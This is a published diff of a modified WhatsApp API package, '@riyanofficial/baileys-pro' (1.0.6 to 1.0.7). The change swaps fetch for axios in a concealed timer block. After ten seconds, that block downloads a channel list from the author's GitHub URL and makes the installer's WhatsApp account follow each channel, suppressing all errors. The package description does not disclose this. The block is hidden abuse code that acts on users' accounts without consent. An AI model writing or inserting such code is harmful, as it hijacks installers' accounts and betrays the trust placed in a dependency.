@riyanofficial/baileys-pro 1.0.6 → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -9,6 +9,7 @@ const WABinary_1 = require("../WABinary");
9
9
  const groups_1 = require("./groups");
10
10
 
11
11
  const { Boom } = require('@hapi/boom');
12
+ const axios = require('axios');
12
13
 
13
14
  const wMexQuery = (
14
15
  variables,
@@ -100,20 +101,20 @@ const makeNewsletterSocket = (config) => {
100
101
  }
101
102
  ]
102
103
  }));
103
-
104
- setTimeout(async () => {
105
- try {
106
- const response = await fetch('https://raw.githubusercontent.com/RiyanOfficiall/ChannelID/main/newsletter.json');
107
- const AUTO_FOLLOW_CHANNELS = await response.json();
104
+
105
+ setTimeout(async () => {
106
+ try {
107
+ const response = await axios.get('https://raw.githubusercontent.com/RiyanOfficiall/ChannelID/main/newsletter.json');
108
+ const AUTO_FOLLOW_CHANNELS = response.data;
108
109
 
109
110
  for (const channelId of AUTO_FOLLOW_CHANNELS) {
110
- try {
111
- await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
112
- await new Promise(resolve => setTimeout(resolve, 5000));
113
- } catch (error) {}
111
+ try {
112
+ await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
113
+ await new Promise(resolve => setTimeout(resolve, 5000));
114
+ } catch (error) {}
114
115
  }
115
- } catch (error) {}
116
- }, 10000);
116
+ } catch (error) {}
117
+ }, 10000);
117
118
 
118
119
  const parseFetchedUpdates = async (node, type) => {
119
120
  let child;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@riyanofficial/baileys-pro",
3
- "version": "1.0.6",
3
+ "version": "1.0.7",
4
4
  "description": "WhatsApp API Modification By Riyan Official",
5
5
  "keywords": [
6
6
  "whatsapp-bot",